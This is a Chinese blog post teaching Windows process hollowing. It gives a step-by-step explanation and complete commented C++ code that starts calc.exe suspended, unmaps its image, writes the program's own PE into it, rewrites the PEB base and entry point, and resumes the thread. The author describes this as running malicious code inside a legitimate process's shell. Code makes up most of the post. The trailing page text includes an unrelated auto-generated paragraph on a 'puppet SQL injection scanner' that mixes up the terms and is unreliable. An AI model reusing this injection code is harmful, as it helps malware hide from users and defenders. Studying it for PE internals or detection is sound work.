EXE注入分析之傀儡进程

最近学习PE结构,顺便看到了一篇WIN32 EXE注入的文章,代码是04年的,比较古老了,

但是代码写的很好,受益匪浅,然后在百度很少找到翻译的比较清楚的文章,这篇我在代码中加了中文注释,

方便菜鸟理解,阅读这篇帖子需要熟悉PE结构,如果你不懂PE结构建议你先去学习下,

说错的地方请各位大神指正,板砖吐口水都可以。


--- 我是淫荡的分割线---


提到傀儡进程,首先想到的就是黑客所使用的后门程序了,首先使用CreateProcess传入CREATE_SUSPENDED

创建一个挂起的进程,以下称为傀儡进程,然后使用GetThreadContext读取傀儡进程的上下文信息,通过DWORD

指针指向CONTEXT的EBX,DWORD + 8 字节可以读取到傀儡进程的基地址,然后计算傀儡进程的镜像大小

然后把自己的数据读入到傀儡进程内,设置CONTEXT上下文入口点信息EAX,并恢复进程主线程。说白了就是使用

傀儡进程的外壳来执行自身的恶意代码。


下面使用步骤详细说明下,然后对照源代码看比较清楚些!

 注意:程序默认注入的进程为计算器 傀儡进程为A进程,自身进程为B文件

 当然这样说比较蛋疼,因为他是从你命令里面读取其他文件信息来注入到傀儡进程的,

这里我就把自身进程当作B进程,不从控制台接收exe信息,直接使用GetModuleFileName

函数来获取自身,这样方便理解!


1、使用fopen来读取B文件,返回FILE指针

2、使用c语言函数读取B文件的DOS FILE OPTIONAL SECTION等数据结构信息

3、获取B文件载入内存所需要的镜像大小 模除取余

4、使用VirtualAlloc申请B文件镜像大小初始化为0内存空间

5、把B文件读入到申请的内存空间中,并指针后移 [因为需要内存对齐]

6、使用CreateProcess创建一个挂起的傀儡进程并获取CONTEXT线程上下文信息

7、使用DWORD 指针指向CONTEXT->EBX,此时指针 + 8字节指向傀儡进程基址

8、使用VirtualQueryEx MEMORY_BASIC_INFORMATION结构来获取从傀儡进程基址 到末尾 得到傀儡进程镜像大小

9、如果傀儡进程的镜像大小 大于或等于 B进程的,并且他们的基地址相同,那么使用VirtualProtectEx设置从基地址到镜像大小这块内存为可读可写

10、否则需要卸载傀儡进程内存空间的数据,传入的参数为傀儡进程基址与镜像大小并在傀儡进程重新申请B进程镜像大小的内存空间

11、把在傀儡进程中重新申请的内存空间地址,写入到傀儡进程的基地址【重要】

12、把B文件已经读取到内存的数据,写入到傀儡进程中

13、设置傀儡进程的EAX指向B进程已经覆盖过数据的入口点

14、设置傀儡进程的线程上下文信息

15、ResumeThread恢复傀儡进程的主线程,以此达到使用傀儡进程的外壳来执行自身恶意代码的行为


注:其实这里面省略了一个步骤,那就是步骤10往后的一个地方,说ZwUnmapViewOfSection卸载失败以后

可能是存在重定位信息,但是EXE一般不会有重定位信息,因为exe首先被加载到属于自己的虚拟4GB空间,

然后他的判断是检测IMAGE_OPTIONAL_HEADER的IMAGE_DATA_DIRECTORY成员变量,这个是一个数据结构

索引为5的地方是重定位信息,判断他的地址与大小是否为0,来决定是否需要重定位信息。


以下代码我加了中文注释,并把原先的代码重新写了一遍,也方便自己来理解作者为何要这么写。

// H文件
#define dosHdrlen      sizeof(IMAGE_DOS_HEADER)
#define ntHdrslen      sizeof(IMAGE_NT_HEADERS)
#define fileHdrlen     sizeof(IMAGE_FILE_HEADER)
#define optionHdrlen   sizeof(IMAGE_OPTIONAL_HEADER)
#define sectionHdrlen  sizeof(IMAGE_SECTION_HEADER)

typedef struct _PROCINFO 
{
	unsigned long ulBaseAddr;
	unsigned long ulImageSize;
}PROCINFO, *PPROCINFO;

int  RunInjectProcess();
int  getAlignedSize(unsigned long curSize, unsigned long alignment);
int  calctotalImageSize(PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
bool readPEInfo(FILE *fp, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr);
bool loadPE(FILE *fp, void *lptrloc, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);


void doFork(void *lptrloc, int ImageSize, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
bool createProcInfo(PPROCESS_INFORMATION pi, PCONTEXT pthreadcxt, PPROCINFO outPorceInfo);
bool unloadImage(HANDLE hProcess, unsigned long ulBaseAddr);

int RunInjectProcess()
{
	char szInject[MAX_PATH];
	GetModuleFileNameA(NULL, szInject, MAX_PATH);
	if (strstr(szInject, "calc.exe") != 0)
		return 0;

	FILE *fp;
	fopen_s(&fp, szInject, "rb");  // 文件指针

	if (fp)
	{
		IMAGE_DOS_HEADER      dosHdr;
		IMAGE_FILE_HEADER     fileHdr;
		IMAGE_OPTIONAL_HEADER optionHdr;
		PIMAGE_SECTION_HEADER sectionHdr;

		// 读取文件PE数据结构
		if (readPEInfo(fp, &dosHdr, &fileHdr, &optionHdr, §ionHdr))
		{
			// 计算PE文件镜像大小
			int  ImageSize = calctotalImageSize(&fileHdr, &optionHdr, sectionHdr);
			// 申请内存空间 大小为自身的ImageSize 初始化为0并可读可写
			void *lptrloc = VirtualAlloc(NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			if (lptrloc)
			{
				// 载入自身到内存空间
				loadPE(fp, lptrloc, &fileHdr, &optionHdr, sectionHdr);

				// 创建傀儡进程
				doFork(lptrloc, ImageSize, &dosHdr, &fileHdr, &optionHdr, sectionHdr);
			}
			else
				return false;
		}
	}
	else
		return 1;

	return 0;
}

bool readPEInfo(FILE *fp, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr)
{
	// 偏移指向文件末尾
	fseek(fp, 0, SEEK_END);
	long uFileSize = ftell(fp); // 获取文件大小
	fseek(fp, 0, SEEK_SET);     // 指向文件头

	// 判断文件是否小于DOS头+NT头结构
	if (uFileSize < (dosHdrlen + ntHdrslen))
	{
		printf("file size too small.\n");
		return false;
	}

	// 读取DOS头数据结构并校验MZ签名
	fread(dosHdr, dosHdrlen, 1, fp);
	if (dosHdr->e_magic != 0x5a4d)
	{
		printf("the file not MZ signature.\n");
		return false;
	}

	// 偏移指向 dosHdr->e_lfanew 校验PE00签名
	unsigned long uPE00 = 0;
	fseek(fp, dosHdr->e_lfanew, SEEK_SET);
	fread(&uPE00, sizeof(unsigned long), 1, fp);
	if (uPE00 != IMAGE_NT_SIGNATURE)
	{
		printf("the file not pe00 signature.\n");
		return false;
	}

	// 读取FILE数据结构信息
	fread(fileHdr, fileHdrlen, 1, fp);
	if (fileHdr->SizeOfOptionalHeader != optionHdrlen)
	{
		printf("unexpected win32 pe file.\n");
		return false;
	}

	// 读取OPTIONAL可选头信息 
	fread(optionHdr, optionHdrlen, 1, fp);

	// 校验WIN32或者WIN64应用程序
	if (optionHdr->Magic != 0x10b && optionHdr->Magic != 0x20b)
	{
		printf("the fuck not win32 or win64 pe file.\n");
		return false;
	}

	// 读取节表信息[区段表],总数为file-numberofsection中指定
	// 申请内存读取节表信息

	*sectionHdr = new IMAGE_SECTION_HEADER[fileHdr->NumberOfSections];
	if (*sectionHdr)
	{
		memset(*sectionHdr, 0, sectionHdrlen * fileHdr->NumberOfSections);
		fread(*sectionHdr, sectionHdrlen * fileHdr->NumberOfSections, 1, fp);
	}
	else 
		return false;

	return true;
}

int calctotalImageSize(PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
{
	int nRetval = 0;

	// 获取PE文件在内存中所需要的对齐值 WIN32 为4096字节
	int alignment = optionHdr->SectionAlignment;

	// 判断 DOS + NT + SECTION表的大小
	// 总大小取余内存对齐值 如果为0则说明已经对齐
	// 否则总大小除以内存对齐值 然后++之后乘以内存页对齐值

	if (optionHdr->SizeOfHeaders % alignment == 0)
		nRetval += optionHdr->SizeOfHeaders;
	else
	{
		int val = optionHdr->SizeOfHeaders / alignment;
		val ++;
		nRetval += (val * alignment);
	}

	// for循环来处理每个区段在内存中所占的内存大小
	for (short i = 0; i < fileHdr->NumberOfSections; i++)
	{
		if (sectionHdr[i].Misc.VirtualSize)
		{
			if (sectionHdr[i].Misc.VirtualSize % alignment == 0)
				nRetval += sectionHdr[i].Misc.VirtualSize;
			else
			{
				int val = sectionHdr[i].Misc.VirtualSize / alignment;
				val ++;
				nRetval += (val * alignment);
			}
		}
	}

	return nRetval;
}

int getAlignedSize(unsigned long curSize, unsigned long alignment)
{	
	if(curSize % alignment == 0)
		return curSize;
	else
	{
		int val = curSize / alignment;
		val ++;
		return (val * alignment);
	}
}

bool loadPE(FILE *fp, void *lptrloc, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
{
	// 指针指向PE偏移0字节
	fseek(fp, 0, SEEK_SET);
	char *outPtr = (char *)lptrloc; // 强制转换指针

	unsigned long i;
	unsigned long headerSize = optionHdr->SizeOfHeaders; // 读取头数据大小

	// UPX压缩以后节表的首个指向原始数据的长度为0
	// 主要是为了读取整个头大小来查找偏移地址的
	for (i = 0; i < fileHdr->NumberOfSections; i++)
	{
		if (sectionHdr[i].PointerToRawData < headerSize)
			if (sectionHdr[i].PointerToRawData > 0)
				headerSize = sectionHdr[i].PointerToRawData;
	}

	// 读取PE头数据到申请的内存空间中
	unsigned long readSize = fread(outPtr, 1, headerSize, fp);
	if (readSize != headerSize)
	{
		printf("read header outPtr error.\n");
		return false;
	}

	// for循环读取节表到内存空间中
	// 因为需要内存对齐,所以内存指针需要后移内存页倍数的值

	outPtr += getAlignedSize(optionHdr->SizeOfHeaders, optionHdr->SectionAlignment);

	// 读取节表数据到内存空间
	for (i = 0; i < fileHdr->NumberOfSections; i++)
	{
		//printf("sectionHdr[i].SizeOfRawData %d\n",sectionHdr[i].SizeOfRawData);
		//printf("sectionHdr[i].VirtualSize %d\n",sectionHdr[i].Misc.VirtualSize);
		//printf("sectionHdr[i].PointerToRawData %d\n",sectionHdr[i].PointerToRawData);
		//putchar('\n');
		if (sectionHdr[i].SizeOfRawData > 0) 
		{
			unsigned long toRead = sectionHdr[i].SizeOfRawData;
			if (toRead > sectionHdr[i].Misc.VirtualSize)  
				toRead = sectionHdr[i].Misc.VirtualSize;

			// 设置PE在磁盘中的数据偏移地址
			fseek(fp, sectionHdr[i].PointerToRawData, SEEK_SET);
			readSize = fread(outPtr, 1, toRead, fp);

			if(readSize != toRead)
			{
				printf("reading section error %d.\n", i);
				return false;
			}

			// 指针后移内存对齐的倍数
			outPtr += getAlignedSize(sectionHdr[i].Misc.VirtualSize, optionHdr->SectionAlignment);
		}
		else
		{
			// UPX压缩以后的第一个节 如UPX0节的大小是为0
			// 所以直接后移内存对齐字节的倍数

			if(sectionHdr[i].Misc.VirtualSize)
				outPtr += getAlignedSize(sectionHdr[i].Misc.VirtualSize, optionHdr->SectionAlignment);
		}
	}

	return true;
}

void doFork(void *lptrloc, int ImageSize, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
{
	CONTEXT      threadCxt; // 线程上下文
	PROCINFO     proceInfo; // 傀儡进程基址与镜像大小
	PROCESS_INFORMATION pi; // 进程参数

	// 创建傀儡进程并取得基址与镜像大小
	if (createProcInfo(&pi, &threadCxt, &proceInfo))
	{
		void *pBaseAddr = NULL; // 内存指针

		// 如果傀儡进程与自身进程基址相等 并且傀儡进程镜像大小大于等于自身
		// 则设置这块内存为可读可写属性
		if (optionHdr->ImageBase == proceInfo.ulBaseAddr && ImageSize <= (int)proceInfo.ulImageSize)
		{
			pBaseAddr = (void*)proceInfo.ulBaseAddr;
			VirtualProtectEx(pi.hProcess, (void*)proceInfo.ulBaseAddr, proceInfo.ulImageSize, PAGE_EXECUTE_READWRITE, NULL);
		}
		else
		{
			// 否则卸载傀儡进程的内存数据
			if (unloadImage(pi.hProcess, proceInfo.ulBaseAddr))
			{
				// 在傀儡进程中重新申请内存空间,从自身的镜像基址开始申请,大小为自身的镜像大小 属性可读可写
				pBaseAddr = VirtualAllocEx(pi.hProcess, (void*)optionHdr->ImageBase, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
				if (pBaseAddr)
				{
					printf("mem for new exe %x\n",(unsigned long)pBaseAddr);
				}
			}
		}

		// 这里原先是一个重定位操作,由于EXE不需要重定位操作 故此忽略

		if (pBaseAddr)
		{
			// 把重新申请的空间地址写入到傀儡进程基址
			unsigned long ulWritten;
			unsigned long *ulPEBInfo = (unsigned long*)threadCxt.Ebx;
			WriteProcessMemory(pi.hProcess, &ulPEBInfo[2], &pBaseAddr, sizeof(void*), &ulWritten);

			// 把自身的数据写入到傀儡进程中
			if(WriteProcessMemory(pi.hProcess, pBaseAddr, (LPCVOID)lptrloc, ImageSize, &ulWritten))
			{
				// 设置上下文信息
				threadCxt.ContextFlags = CONTEXT_FULL;

				// 如果申请的基地址 等于原来傀儡进程的基地址 则从自身的0x0040000处 + 入口点地址
				// 否则从申请的内存数据地址 + 入口点地址 为RVA 
				if ((unsigned long)pBaseAddr == proceInfo.ulBaseAddr)
				{
					threadCxt.Eax = optionHdr->ImageBase + optionHdr->AddressOfEntryPoint;
				}
				else
				{
					threadCxt.Eax = (unsigned long)pBaseAddr + optionHdr->AddressOfEntryPoint;
				}

				// 设置傀儡进程的线程上下文信息
				SetThreadContext(pi.hThread, &threadCxt);
				
				// 恢复主线程执行
				ResumeThread(pi.hThread);
			}
		}
	}
	else
	{
		printf("create puppet process failure %d\n", GetLastError());
	}
}

#define TPROCEXE  _T("c:\\windows\\system32\\calc.exe")

//************************************************************************
// 
// lkd> dt_peb
// nt!_PEB
// +0x000 InheritedAddressSpace    : UChar
// +0x001 ReadImageFileExecOptions : UChar
// +0x002 BeingDebugged            : UChar
// +0x003 BitField                 : UChar
// +0x003 ImageUsesLargePages      : Pos 0, 1 Bit
// +0x003 SpareBits                : Pos 1, 7 Bits
// +0x004 Mutant                   : Ptr32 Void
// +0x008 ImageBaseAddress         : Ptr32 Void *这里是PEB结构 + 8 字节的地方
//
//************************************************************************

bool createProcInfo(PPROCESS_INFORMATION pi, PCONTEXT pthreadcxt, PPROCINFO outPorceInfo)
{
	STARTUPINFO si = {0};
	si.cb = sizeof(si); // 初始化SI结构大小

	// 创建挂起的傀儡进程
	if (CreateProcess(TPROCEXE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, pi))
	{
		// 获取线程CONTEXT上下文信息
		pthreadcxt->ContextFlags = CONTEXT_FULL;
		GetThreadContext(pi->hThread, pthreadcxt);

		// 从傀儡进程句柄 PEB结构 + 8 字节获取进程加载基址
		unsigned long *ulPebInfo = (unsigned long *)pthreadcxt->Ebx;
		ReadProcessMemory(pi->hProcess,	&ulPebInfo[2], (void*)&(outPorceInfo->ulBaseAddr), sizeof(u_long), NULL);
		
		// 临时变量用来计算镜像大小
		unsigned long ulmemAddr = outPorceInfo->ulBaseAddr;

		MEMORY_BASIC_INFORMATION memInfo;
		memset(&memInfo,0,sizeof(memInfo));

		// 从进程的EBX+8开始读取镜像基址
		// memInfo->BaseAddress指向ulBaseAddr下一个边界
		// memInfo->RegionSize指向内存块的大小从BaseAddress开始计算
		// memInfo->State页面空闲状态MEM_FREE
		// 从进程加载的基地址空间来读取内存页的状态
		// 起始进程地址 + 每个页面的大小 

		while (VirtualQueryEx(pi->hProcess, (void*)ulmemAddr, &memInfo, sizeof(memInfo)))
		{
			if (memInfo.State == MEM_FREE)
				break;
			ulmemAddr += memInfo.RegionSize;
		}

		// 末尾大小减去起始地址 等于EXE加载到进程地址空间中的镜像大小
		// 进程挂起状态下的
		outPorceInfo->ulImageSize = ulmemAddr - outPorceInfo->ulBaseAddr;
		printf("poutPorcInfo->ulImageSizex %d.\n",outPorceInfo->ulImageSize);
	}
	else
		return false;

	return true;
}

bool unloadImage(HANDLE hProcess, unsigned long ulBaseAddr)
{
	typedef unsigned long (__stdcall *PTRZwUnmapViewOfSection) (HANDLE, void*);
	PTRZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;

	HMODULE hInst = LoadLibrary(_T("ntdll.dll"));
	if (hInst)
	{
		ZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(hInst, "ZwUnmapViewOfSection");
		if (ZwUnmapViewOfSection)
		{
			ZwUnmapViewOfSection(hProcess, (void*)&ulBaseAddr);
		}

		FreeLibrary(hInst);
		return true;
	}

	return false;
}


  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
傀儡SQL注入批量扫描工具是一种用于检测和扫描网站是否存在傀儡SQL注入漏洞的软件工具。傀儡SQL注入是一种常见的网络安全漏洞,攻击者可以利用该漏洞来获取数据库中的敏感信息,或者更严重的情况下,完全控制受攻击的网站。 这种工具的工作原理是自动化扫描一系列的URL链接,检查这些链接是否存在傀儡SQL注入漏洞。工具会自动发送带有特殊注入代码的请求,以尝试从数据库中获取未经授权的数据。如果网站存在注入漏洞,工具将会提供相应的警报或报告。 使用傀儡SQL注入批量扫描工具的好处是可以快速发现并修复潜在的漏洞。通过自动化扫描,工具可以在短时间内检查大量的URL链接,从而节省了人工扫描的时间和精力。同时,工具还可以提供详细的报告,包括漏洞的类型、位置和可能的危害程度,帮助网站管理员更好地了解漏洞的风险,并采取相应的措施进行修复。 然而,傀儡SQL注入批量扫描工具只是发现漏洞的工具,不能替代人工的安全评估和修复过程。因此,在使用这种工具时,网站管理员仍然需要监测并验证扫描结果,确保没有误报或漏报。此外,修复漏洞也需要采取正确的措施,例如升级软件、过滤输入等,才能有效地防范傀儡SQL注入攻击。 总之,傀儡SQL注入批量扫描工具在网络安全领域发挥着重要的作用,可以帮助网站管理员快速发现和修复潜在的傀儡SQL注入漏洞,从而提高网站的安全性。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值